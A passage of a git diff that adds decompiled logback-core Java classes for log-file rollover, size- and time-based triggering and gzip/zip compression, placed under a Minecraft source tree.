+  public CompressionMode getCompressionMode() {
+    return compressionMode;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  public void setParent(FileAppender appender) {
+    parent = appender;
+  }
+  
+  public boolean isParentPrudent() {
+    return parent.isPrudent();
+  }
+  
+  public String getParentsRawFileProperty() {
+    return parent.rawFileProperty();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/RolloverFailure.java b/src/minecraft/ch/qos/logback/core/rolling/RolloverFailure.java
new file mode 100644
index 0000000..d1e1615
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/RolloverFailure.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.LogbackException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RolloverFailure
+  extends LogbackException
+{
+  private static final long serialVersionUID = -4407533730831239458L;
+  
+  public RolloverFailure(String msg)
+  {
+    super(msg);
+  }
+  
+  public RolloverFailure(String message, Throwable cause) {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/SizeAndTimeBasedFNATP.java b/src/minecraft/ch/qos/logback/core/rolling/SizeAndTimeBasedFNATP.java
new file mode 100644
index 0000000..a6bba1c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/SizeAndTimeBasedFNATP.java
@@ -0,0 +1,138 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.joran.spi.NoAutoStart;
+import ch.qos.logback.core.rolling.helper.ArchiveRemover;
+import ch.qos.logback.core.rolling.helper.CompressionMode;
+import ch.qos.logback.core.rolling.helper.FileFilterUtil;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import ch.qos.logback.core.rolling.helper.SizeAndTimeBasedArchiveRemover;
+import ch.qos.logback.core.util.FileSize;
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@NoAutoStart
+public class SizeAndTimeBasedFNATP<E>
+  extends TimeBasedFileNamingAndTriggeringPolicyBase<E>
+{
+  int currentPeriodsCounter = 0;
+  FileSize maxFileSize;
+  String maxFileSizeAsString;
+  private int invocationCounter;
+  
+  public SizeAndTimeBasedFNATP() {}
+  
+  public void start() {
+    super.start();
+    
+    archiveRemover = createArchiveRemover();
+    archiveRemover.setContext(context);
+    
+
+
+
+    String regex = tbrp.fileNamePattern.toRegexForFixedDate(dateInCurrentPeriod);
+    String stemRegex = FileFilterUtil.afterLastSlash(regex);
+    
+
+    computeCurrentPeriodsHighestCounterValue(stemRegex);
+    
+    started = true;
+  }
+  
+  protected ArchiveRemover createArchiveRemover() {
+    return new SizeAndTimeBasedArchiveRemover(tbrp.fileNamePattern, rc);
+  }
+  
+  void computeCurrentPeriodsHighestCounterValue(String stemRegex) {
+    File file = new File(getCurrentPeriodsFileNameWithoutCompressionSuffix());
+    File parentDir = file.getParentFile();
+    
+    File[] matchingFileArray = FileFilterUtil.filesInFolderMatchingStemRegex(parentDir, stemRegex);
+    
+
+    if ((matchingFileArray == null) || (matchingFileArray.length == 0)) {
+      currentPeriodsCounter = 0;
+      return;
+    }
+    currentPeriodsCounter = FileFilterUtil.findHighestCounter(matchingFileArray, stemRegex);
+    
+
+
+    if ((tbrp.getParentsRawFileProperty() != null) || (tbrp.compressionMode != CompressionMode.NONE))
+    {
+      currentPeriodsCounter += 1;
+    }
+  }
+  
+
+
+
+
+
+  private int invocationMask = 1;
+  
+  public boolean isTriggeringEvent(File activeFile, E event)
+  {
+    long time = getCurrentTime();
+    if (time >= nextCheck) {
+      Date dateInElapsedPeriod = dateInCurrentPeriod;
+      elapsedPeriodsFileName = tbrp.fileNamePatternWCS.convertMultipleArguments(new Object[] { dateInElapsedPeriod, Integer.valueOf(currentPeriodsCounter) });
+      
+      currentPeriodsCounter = 0;
+      setDateInCurrentPeriod(time);
+      computeNextCheck();
+      return true;
+    }
+    
+
+    if ((++invocationCounter & invocationMask) != invocationMask) {
+      return false;
+    }
+    if (invocationMask < 15) {
+      invocationMask = ((invocationMask << 1) + 1);
+    }
+    
+    if (activeFile.length() >= maxFileSize.getSize()) {
+      elapsedPeriodsFileName = tbrp.fileNamePatternWCS.convertMultipleArguments(new Object[] { dateInCurrentPeriod, Integer.valueOf(currentPeriodsCounter) });
+      
+      currentPeriodsCounter += 1;
+      return true;
+    }
+    
+    return false;
+  }
+  
+  private String getFileNameIncludingCompressionSuffix(Date date, int counter) {
+    return tbrp.fileNamePattern.convertMultipleArguments(new Object[] { dateInCurrentPeriod, Integer.valueOf(counter) });
+  }
+  
+
+
+  public String getCurrentPeriodsFileNameWithoutCompressionSuffix()
+  {
+    return tbrp.fileNamePatternWCS.convertMultipleArguments(new Object[] { dateInCurrentPeriod, Integer.valueOf(currentPeriodsCounter) });
+  }
+  
+  public String getMaxFileSize()
+  {
+    return maxFileSizeAsString;
+  }
+  
+  public void setMaxFileSize(String maxFileSize) {
+    maxFileSizeAsString = maxFileSize;
+    this.maxFileSize = FileSize.valueOf(maxFileSize);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/SizeBasedTriggeringPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/SizeBasedTriggeringPolicy.java
new file mode 100644
index 0000000..46c2d1a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/SizeBasedTriggeringPolicy.java
@@ -0,0 +1,100 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.util.FileSize;
+import ch.qos.logback.core.util.InvocationGate;
+import java.io.File;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SizeBasedTriggeringPolicy<E>
+  extends TriggeringPolicyBase<E>
+{
+  public static final String SEE_SIZE_FORMAT = "http://logback.qos.ch/codes.html#sbtp_size_format";
+  public static final long DEFAULT_MAX_FILE_SIZE = 10485760L;
+  String maxFileSizeAsString = Long.toString(10485760L);
+  FileSize maxFileSize;
+  
+  public SizeBasedTriggeringPolicy() {}
+  
+  public SizeBasedTriggeringPolicy(String maxFileSize)
+  {
+    setMaxFileSize(maxFileSize);
+  }
+  
+  private InvocationGate invocationGate = new InvocationGate();
+  
+  public boolean isTriggeringEvent(File activeFile, E event) {
+    if (invocationGate.skipFurtherWork()) {
+      return false;
+    }
+    long now = System.currentTimeMillis();
+    invocationGate.updateMaskIfNecessary(now);
+    
+    return activeFile.length() >= maxFileSize.getSize();
+  }
+  
+  public String getMaxFileSize() {
+    return maxFileSizeAsString;
+  }
+  
+  public void setMaxFileSize(String maxFileSize) {
+    maxFileSizeAsString = maxFileSize;
+    this.maxFileSize = FileSize.valueOf(maxFileSize);
+  }
+  
+  long toFileSize(String value) {
+    if (value == null) {
+      return 10485760L;
+    }
+    String s = value.trim().toUpperCase();
+    long multiplier = 1L;
+    
+    int index;
+    if ((index = s.indexOf("KB")) != -1) {
+      multiplier = 1024L;
+      s = s.substring(0, index);
+    } else if ((index = s.indexOf("MB")) != -1) {
+      multiplier = 1048576L;
+      s = s.substring(0, index);
+    } else if ((index = s.indexOf("GB")) != -1) {
+      multiplier = 1073741824L;
+      s = s.substring(0, index);
+    }
+    if (s != null) {
+      try {
+        return Long.valueOf(s).longValue() * multiplier;
+      } catch (NumberFormatException e) {
+        addError("[" + s + "] is not in proper int format. Please refer to " + "http://logback.qos.ch/codes.html#sbtp_size_format");
+        
+        addError("[" + value + "] not in expected format.", e);
+      }
+    }
+    return 10485760L;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/TimeBasedFileNamingAndTriggeringPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/TimeBasedFileNamingAndTriggeringPolicy.java
new file mode 100644
index 0000000..75996ab
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/TimeBasedFileNamingAndTriggeringPolicy.java
@@ -0,0 +1,20 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.rolling.helper.ArchiveRemover;
+import ch.qos.logback.core.spi.ContextAware;
+
+public abstract interface TimeBasedFileNamingAndTriggeringPolicy<E>
+  extends TriggeringPolicy<E>, ContextAware
+{
+  public abstract void setTimeBasedRollingPolicy(TimeBasedRollingPolicy<E> paramTimeBasedRollingPolicy);
+  
+  public abstract String getElapsedPeriodsFileName();
+  
+  public abstract String getCurrentPeriodsFileNameWithoutCompressionSuffix();
+  
+  public abstract ArchiveRemover getArchiveRemover();
+  
+  public abstract long getCurrentTime();
+  
+  public abstract void setCurrentTime(long paramLong);
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/TimeBasedFileNamingAndTriggeringPolicyBase.java b/src/minecraft/ch/qos/logback/core/rolling/TimeBasedFileNamingAndTriggeringPolicyBase.java
new file mode 100644
index 0000000..3e4ec8f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/TimeBasedFileNamingAndTriggeringPolicyBase.java
@@ -0,0 +1,117 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.rolling.helper.ArchiveRemover;
+import ch.qos.logback.core.rolling.helper.DateTokenConverter;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import ch.qos.logback.core.rolling.helper.RollingCalendar;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TimeBasedFileNamingAndTriggeringPolicyBase<E>
+  extends ContextAwareBase
+  implements TimeBasedFileNamingAndTriggeringPolicy<E>
+{
+  protected TimeBasedRollingPolicy<E> tbrp;
+  
+  public TimeBasedFileNamingAndTriggeringPolicyBase() {}
+  
+  protected ArchiveRemover archiveRemover = null;
+  protected String elapsedPeriodsFileName;
+  protected RollingCalendar rc;
+  
+  protected long artificialCurrentTime = -1L;
+  protected Date dateInCurrentPeriod = null;
+  protected long nextCheck;
+  
+  protected boolean started = false;
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public void start() {
+    DateTokenConverter dtc = tbrp.fileNamePattern.getPrimaryDateTokenConverter();
+    if (dtc == null) {
+      throw new IllegalStateException("FileNamePattern [" + tbrp.fileNamePattern.getPattern() + "] does not contain a valid DateToken");
+    }
+    
+
+
+    rc = new RollingCalendar();
+    rc.init(dtc.getDatePattern());
+    addInfo("The date pattern is '" + dtc.getDatePattern() + "' from file name pattern '" + tbrp.fileNamePattern.getPattern() + "'.");
+    
+
+    rc.printPeriodicity(this);
+    
+    setDateInCurrentPeriod(new Date(getCurrentTime()));
+    if (tbrp.getParentsRawFileProperty() != null) {
+      File currentFile = new File(tbrp.getParentsRawFileProperty());
+      if ((currentFile.exists()) && (currentFile.canRead())) {
+        setDateInCurrentPeriod(new Date(currentFile.lastModified()));
+      }
+    }
+    
+    addInfo("Setting initial period to " + dateInCurrentPeriod);
+    computeNextCheck();
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  protected void computeNextCheck() {
+    nextCheck = rc.getNextTriggeringMillis(dateInCurrentPeriod);
+  }
+  
+  protected void setDateInCurrentPeriod(long now) {
+    dateInCurrentPeriod.setTime(now);
+  }
+  
+
+  public void setDateInCurrentPeriod(Date _dateInCurrentPeriod)
+  {
+    dateInCurrentPeriod = _dateInCurrentPeriod;
+  }
+  
+  public String getElapsedPeriodsFileName() {
+    return elapsedPeriodsFileName;
+  }
+  
+  public String getCurrentPeriodsFileNameWithoutCompressionSuffix() {
+    return tbrp.fileNamePatternWCS.convert(dateInCurrentPeriod);
+  }
+  
+  public void setCurrentTime(long timeInMillis) {
+    artificialCurrentTime = timeInMillis;
+  }
+  
+  public long getCurrentTime()
+  {
+    if (artificialCurrentTime >= 0L) {
+      return artificialCurrentTime;
+    }
+    return System.currentTimeMillis();
+  }
+  
+  public void setTimeBasedRollingPolicy(TimeBasedRollingPolicy<E> _tbrp)
+  {
+    tbrp = _tbrp;
+  }
+  
+  public ArchiveRemover getArchiveRemover()
+  {
+    return archiveRemover;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/TimeBasedRollingPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/TimeBasedRollingPolicy.java
new file mode 100644
index 0000000..2303d8d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/TimeBasedRollingPolicy.java
@@ -0,0 +1,254 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.rolling.helper.ArchiveRemover;
+import ch.qos.logback.core.rolling.helper.AsynchronousCompressor;
+import ch.qos.logback.core.rolling.helper.CompressionMode;
+import ch.qos.logback.core.rolling.helper.Compressor;
+import ch.qos.logback.core.rolling.helper.FileFilterUtil;
+import ch.qos.logback.core.rolling.helper.FileNamePattern;
+import ch.qos.logback.core.rolling.helper.RenameUtil;
+import java.io.File;
+import java.util.Date;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeBasedRollingPolicy<E>
+  extends RollingPolicyBase
+  implements TriggeringPolicy<E>
+{
+  static final String FNP_NOT_SET = "The FileNamePattern option must be set before using TimeBasedRollingPolicy. ";
+  static final int INFINITE_HISTORY = 0;
+  FileNamePattern fileNamePatternWCS;
+  private Compressor compressor;
+  private RenameUtil renameUtil = new RenameUtil();
+  
+  Future<?> future;
+  private int maxHistory = 0;
+  
+  private ArchiveRemover archiveRemover;
+  
+  TimeBasedFileNamingAndTriggeringPolicy<E> timeBasedFileNamingAndTriggeringPolicy;
+  boolean cleanHistoryOnStart = false;
+  
+  public TimeBasedRollingPolicy() {}
+  
+  public void start() { renameUtil.setContext(context);
+    
+
+    if (fileNamePatternStr != null) {
+      fileNamePattern = new FileNamePattern(fileNamePatternStr, context);
+      determineCompressionMode();
+    } else {
+      addWarn("The FileNamePattern option must be set before using TimeBasedRollingPolicy. ");
+      addWarn("See also http://logback.qos.ch/codes.html#tbr_fnp_not_set");
+      throw new IllegalStateException("The FileNamePattern option must be set before using TimeBasedRollingPolicy. See also http://logback.qos.ch/codes.html#tbr_fnp_not_set");
+    }
+    
+
+    compressor = new Compressor(compressionMode);
+    compressor.setContext(context);
+    
+
+    fileNamePatternWCS = new FileNamePattern(Compressor.computeFileNameStr_WCS(fileNamePatternStr, compressionMode), context);
+    
+
+    addInfo("Will use the pattern " + fileNamePatternWCS + " for the active file");
+    
+
+    if (compressionMode == CompressionMode.ZIP) {
+      String zipEntryFileNamePatternStr = transformFileNamePattern2ZipEntry(fileNamePatternStr);
+      zipEntryFileNamePattern = new FileNamePattern(zipEntryFileNamePatternStr, context);
+    }
+    
+    if (timeBasedFileNamingAndTriggeringPolicy == null) {
+      timeBasedFileNamingAndTriggeringPolicy = new DefaultTimeBasedFileNamingAndTriggeringPolicy();
+    }
+    timeBasedFileNamingAndTriggeringPolicy.setContext(context);
+    timeBasedFileNamingAndTriggeringPolicy.setTimeBasedRollingPolicy(this);
+    timeBasedFileNamingAndTriggeringPolicy.start();
+    
+
+
+
+    if (maxHistory != 0) {
+      archiveRemover = timeBasedFileNamingAndTriggeringPolicy.getArchiveRemover();
+      archiveRemover.setMaxHistory(maxHistory);
+      if (cleanHistoryOnStart) {
+        addInfo("Cleaning on start up");
+        archiveRemover.clean(new Date(timeBasedFileNamingAndTriggeringPolicy.getCurrentTime()));
+      }
+    }
+    
+    super.start();
+  }
+  
+  public void stop()
+  {
+    if (!isStarted())
+      return;
+    waitForAsynchronousJobToStop();
+    super.stop();
+  }
+  
+  private void waitForAsynchronousJobToStop()
+  {
+    if (future != null)
+      try {
+        future.get(30L, TimeUnit.SECONDS);
+      } catch (TimeoutException e) {
+        addError("Timeout while waiting for compression job to finish", e);
+      } catch (Exception e) {
+        addError("Unexpected exception while waiting for compression job to finish", e);
+      }
+  }
+  
+  private String transformFileNamePattern2ZipEntry(String fileNamePatternStr) {
+    String slashified = FileFilterUtil.slashify(fileNamePatternStr);
+    return FileFilterUtil.afterLastSlash(slashified);
+  }
+  
+  public void setTimeBasedFileNamingAndTriggeringPolicy(TimeBasedFileNamingAndTriggeringPolicy<E> timeBasedTriggering)
+  {
+    timeBasedFileNamingAndTriggeringPolicy = timeBasedTriggering;
+  }
+  
+  public TimeBasedFileNamingAndTriggeringPolicy<E> getTimeBasedFileNamingAndTriggeringPolicy() {
+    return timeBasedFileNamingAndTriggeringPolicy;
+  }
+  
+
+
+  public void rollover()
+    throws RolloverFailure
+  {
+    String elapsedPeriodsFileName = timeBasedFileNamingAndTriggeringPolicy.getElapsedPeriodsFileName();
+    
+
+    String elapsedPeriodStem = FileFilterUtil.afterLastSlash(elapsedPeriodsFileName);
+    
+    if (compressionMode == CompressionMode.NONE) {
+      if (getParentsRawFileProperty() != null) {
+        renameUtil.rename(getParentsRawFileProperty(), elapsedPeriodsFileName);
+      }
+    }
+    else if (getParentsRawFileProperty() == null) {
+      future = asyncCompress(elapsedPeriodsFileName, elapsedPeriodsFileName, elapsedPeriodStem);
+    } else {
+      future = renamedRawAndAsyncCompress(elapsedPeriodsFileName, elapsedPeriodStem);
+    }
+    
+
+    if (archiveRemover != null) {
+      archiveRemover.clean(new Date(timeBasedFileNamingAndTriggeringPolicy.getCurrentTime()));
+    }
+  }
+  
+  Future asyncCompress(String nameOfFile2Compress, String nameOfCompressedFile, String innerEntryName) throws RolloverFailure
+  {
+    AsynchronousCompressor ac = new AsynchronousCompressor(compressor);
+    return ac.compressAsynchronously(nameOfFile2Compress, nameOfCompressedFile, innerEntryName);
+  }
+  
+  Future renamedRawAndAsyncCompress(String nameOfCompressedFile, String innerEntryName) throws RolloverFailure
+  {
+    String parentsRawFile = getParentsRawFileProperty();
+    String tmpTarget = parentsRawFile + System.nanoTime() + ".tmp";
+    renameUtil.rename(parentsRawFile, tmpTarget);
+    return asyncCompress(tmpTarget, nameOfCompressedFile, innerEntryName);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getActiveFileName()
+  {
+    String parentsRawFileProperty = getParentsRawFileProperty();
+    if (parentsRawFileProperty != null) {
+      return parentsRawFileProperty;
+    }
+    return timeBasedFileNamingAndTriggeringPolicy.getCurrentPeriodsFileNameWithoutCompressionSuffix();
+  }
+  
+
+  public boolean isTriggeringEvent(File activeFile, E event)
+  {
+    return timeBasedFileNamingAndTriggeringPolicy.isTriggeringEvent(activeFile, event);
+  }
+  
+
+
+
+
+  public int getMaxHistory()
+  {
+    return maxHistory;
+  }
+  
+
+
+
+
+
+  public void setMaxHistory(int maxHistory)
+  {
+    this.maxHistory = maxHistory;
+  }
+  
+  public boolean isCleanHistoryOnStart()
+  {
+    return cleanHistoryOnStart;
+  }
+  
+
+
+
+
+  public void setCleanHistoryOnStart(boolean cleanHistoryOnStart)
+  {
+    this.cleanHistoryOnStart = cleanHistoryOnStart;
+  }
+  
+
+  public String toString()
+  {
+    return "c.q.l.core.rolling.TimeBasedRollingPolicy";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/TriggeringPolicy.java b/src/minecraft/ch/qos/logback/core/rolling/TriggeringPolicy.java
new file mode 100644
index 0000000..0926539
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/TriggeringPolicy.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.spi.LifeCycle;
+import java.io.File;
+
+public abstract interface TriggeringPolicy<E>
+  extends LifeCycle
+{
+  public abstract boolean isTriggeringEvent(File paramFile, E paramE);
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/TriggeringPolicyBase.java b/src/minecraft/ch/qos/logback/core/rolling/TriggeringPolicyBase.java
new file mode 100644
index 0000000..59fd0b1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/TriggeringPolicyBase.java
@@ -0,0 +1,41 @@
+package ch.qos.logback.core.rolling;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TriggeringPolicyBase<E>
+  extends ContextAwareBase
+  implements TriggeringPolicy<E>
+{
+  private boolean start;
+  
+  public TriggeringPolicyBase() {}
+  
+  public void start()
+  {
+    start = true;
+  }
+  
+  public void stop() {
+    start = false;
+  }
+  
+  public boolean isStarted() {
+    return start;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/ArchiveRemover.java b/src/minecraft/ch/qos/logback/core/rolling/helper/ArchiveRemover.java
new file mode 100644
index 0000000..c297671
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/ArchiveRemover.java
@@ -0,0 +1,12 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.spi.ContextAware;
+import java.util.Date;
+
+public abstract interface ArchiveRemover
+  extends ContextAware
+{
+  public abstract void clean(Date paramDate);
+  
+  public abstract void setMaxHistory(int paramInt);
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/AsynchronousCompressor.java b/src/minecraft/ch/qos/logback/core/rolling/helper/AsynchronousCompressor.java
new file mode 100644
index 0000000..321bdaa
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/AsynchronousCompressor.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.rolling.helper;
+
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+
+
+
+
+
+
+
+
+
+
+
+
+public class AsynchronousCompressor
+{
+  Compressor compressor;
+  
+  public AsynchronousCompressor(Compressor compressor)
+  {
+    this.compressor = compressor;
+  }
+  
+  public Future<?> compressAsynchronously(String nameOfFile2Compress, String nameOfCompressedFile, String innerEntryName)
+  {
+    ExecutorService executor = Executors.newScheduledThreadPool(1);
+    Future<?> future = executor.submit(new CompressionRunnable(compressor, nameOfFile2Compress, nameOfCompressedFile, innerEntryName));
+    
+    executor.shutdown();
+    return future;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/CompressionMode.java b/src/minecraft/ch/qos/logback/core/rolling/helper/CompressionMode.java
new file mode 100644
index 0000000..27da9f9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/CompressionMode.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.rolling.helper;
+
+public enum CompressionMode
+{
+  NONE,  GZ,  ZIP;
+  
+  private CompressionMode() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/CompressionRunnable.java b/src/minecraft/ch/qos/logback/core/rolling/helper/CompressionRunnable.java
new file mode 100644
index 0000000..a149197
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/CompressionRunnable.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.rolling.helper;
+
+
+
+
+public class CompressionRunnable
+  implements Runnable
+{
+  final Compressor compressor;
+  
+
+
+  final String nameOfFile2Compress;
+  
+
+
+  final String nameOfCompressedFile;
+  
+
+  final String innerEntryName;
+  
+
+
+  public CompressionRunnable(Compressor compressor, String nameOfFile2Compress, String nameOfCompressedFile, String innerEntryName)
+  {
+    this.compressor = compressor;
+    this.nameOfFile2Compress = nameOfFile2Compress;
+    this.nameOfCompressedFile = nameOfCompressedFile;
+    this.innerEntryName = innerEntryName;
+  }
+  
+  public void run() {
+    compressor.compress(nameOfFile2Compress, nameOfCompressedFile, innerEntryName);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/Compressor.java b/src/minecraft/ch/qos/logback/core/rolling/helper/Compressor.java
new file mode 100644
index 0000000..8e07d42
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/Compressor.java
@@ -0,0 +1,271 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.WarnStatus;
+import ch.qos.logback.core.util.FileUtil;
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.zip.GZIPOutputStream;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Compressor
+  extends ContextAwareBase
+{
+  final CompressionMode compressionMode;
+  static final int BUFFER_SIZE = 8192;
+  
+  public Compressor(CompressionMode compressionMode)
+  {
+    this.compressionMode = compressionMode;
+  }
+  
+
+
+
+
+  public void compress(String nameOfFile2Compress, String nameOfCompressedFile, String innerEntryName)
+  {
+    switch (1.$SwitchMap$ch$qos$logback$core$rolling$helper$CompressionMode[compressionMode.ordinal()]) {
+    case 1: 
+      gzCompress(nameOfFile2Compress, nameOfCompressedFile);
+      break;
+    case 2: 
+      zipCompress(nameOfFile2Compress, nameOfCompressedFile, innerEntryName);
+      break;
+    case 3: 
+      throw new UnsupportedOperationException("compress method called in NONE compression mode");
+    }
+  }
+  
+  private void zipCompress(String nameOfFile2zip, String nameOfZippedFile, String innerEntryName)
+  {
+    File file2zip = new File(nameOfFile2zip);
+    
+    if (!file2zip.exists()) {
+      addStatus(new WarnStatus("The file to compress named [" + nameOfFile2zip + "] does not exist.", this));
+      
+
+      return;
+    }
+    
+    if (innerEntryName == null) {
+      addStatus(new WarnStatus("The innerEntryName parameter cannot be null", this));
+      return;
+    }
+    
+    if (!nameOfZippedFile.endsWith(".zip")) {
+      nameOfZippedFile = nameOfZippedFile + ".zip";
+    }
+    
+    File zippedFile = new File(nameOfZippedFile);
+    
+    if (zippedFile.exists()) {
+      addStatus(new WarnStatus("The target compressed file named [" + nameOfZippedFile + "] exist already.", this));
+      
+
+      return;
+    }
+    
+    addInfo("ZIP compressing [" + file2zip + "] as [" + zippedFile + "]");
+    createMissingTargetDirsIfNecessary(zippedFile);
+    
+    BufferedInputStream bis = null;
+    ZipOutputStream zos = null;
+    try {
+      bis = new BufferedInputStream(new FileInputStream(nameOfFile2zip));
+      zos = new ZipOutputStream(new FileOutputStream(nameOfZippedFile));
+      
+      ZipEntry zipEntry = computeZipEntry(innerEntryName);
+      zos.putNextEntry(zipEntry);
+      
+      byte[] inbuf = new byte[' '];
+      
+      int n;
+      while ((n = bis.read(inbuf)) != -1) {
+        zos.write(inbuf, 0, n);
+      }
+      
+      bis.close();
+      bis = null;
+      zos.close();
+      zos = null;
+      
+      if (!file2zip.delete()) {
+        addStatus(new WarnStatus("Could not delete [" + nameOfFile2zip + "].", this));
+      }
+      return;
+    } catch (Exception e) {
+      addStatus(new ErrorStatus("Error occurred while compressing [" + nameOfFile2zip + "] into [" + nameOfZippedFile + "].", this, e));
+    }
+    finally {
+      if (bis != null) {
+        try {
+          bis.close();
+        }
+        catch (IOException e) {}
+      }
+      
+      if (zos != null) {
+        try {
+          zos.close();
+        }
+        catch (IOException e) {}
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  ZipEntry computeZipEntry(File zippedFile)
+  {
+    return computeZipEntry(zippedFile.getName());
+  }
+  
+  ZipEntry computeZipEntry(String filename) {
+    String nameOfFileNestedWithinArchive = computeFileNameStr_WCS(filename, compressionMode);
+    return new ZipEntry(nameOfFileNestedWithinArchive);
+  }
+  
+  private void gzCompress(String nameOfFile2gz, String nameOfgzedFile)
+  {
+    File file2gz = new File(nameOfFile2gz);
+    
+    if (!file2gz.exists()) {
+      addStatus(new WarnStatus("The file to compress named [" + nameOfFile2gz + "] does not exist.", this));
+      
+
+      return;
+    }
+    
+
+    if (!nameOfgzedFile.endsWith(".gz")) {
+      nameOfgzedFile = nameOfgzedFile + ".gz";
+    }
+    
+    File gzedFile = new File(nameOfgzedFile);
+    
+    if (gzedFile.exists()) {
+      addWarn("The target compressed file named [" + nameOfgzedFile + "] exist already. Aborting file compression.");
+      
+      return;
+    }
+    
+    addInfo("GZ compressing [" + file2gz + "] as [" + gzedFile + "]");
+    createMissingTargetDirsIfNecessary(gzedFile);
+    
+    BufferedInputStream bis = null;
+    GZIPOutputStream gzos = null;
+    try {
+      bis = new BufferedInputStream(new FileInputStream(nameOfFile2gz));
+      gzos = new GZIPOutputStream(new FileOutputStream(nameOfgzedFile));
+      byte[] inbuf = new byte[' '];
+      
+      int n;
+      while ((n = bis.read(inbuf)) != -1) {
+        gzos.write(inbuf, 0, n);
+      }
+      
+      bis.close();
+      bis = null;
+      gzos.close();
+      gzos = null;
+      
+      if (!file2gz.delete()) {
+        addStatus(new WarnStatus("Could not delete [" + nameOfFile2gz + "].", this));
+      }
+      return;
+    } catch (Exception e) {
+      addStatus(new ErrorStatus("Error occurred while compressing [" + nameOfFile2gz + "] into [" + nameOfgzedFile + "].", this, e));
+    }
+    finally {
+      if (bis != null) {
+        try {
+          bis.close();
+        }
+        catch (IOException e) {}
+      }
+      
+      if (gzos != null) {
+        try {
+          gzos.close();
+        }
+        catch (IOException e) {}
+      }
+    }
+  }
+  
+
+  public static String computeFileNameStr_WCS(String fileNamePatternStr, CompressionMode compressionMode)
+  {
+    int len = fileNamePatternStr.length();
+    switch (1.$SwitchMap$ch$qos$logback$core$rolling$helper$CompressionMode[compressionMode.ordinal()]) {
+    case 1: 
+      if (fileNamePatternStr.endsWith(".gz")) {
+        return fileNamePatternStr.substring(0, len - 3);
+      }
+      return fileNamePatternStr;
+    case 2: 
+      if (fileNamePatternStr.endsWith(".zip")) {
+        return fileNamePatternStr.substring(0, len - 4);
+      }
+      return fileNamePatternStr;
+    case 3: 
+      return fileNamePatternStr;
+    }
+    throw new IllegalStateException("Execution should not reach this point");
+  }
+  
+  void createMissingTargetDirsIfNecessary(File file)
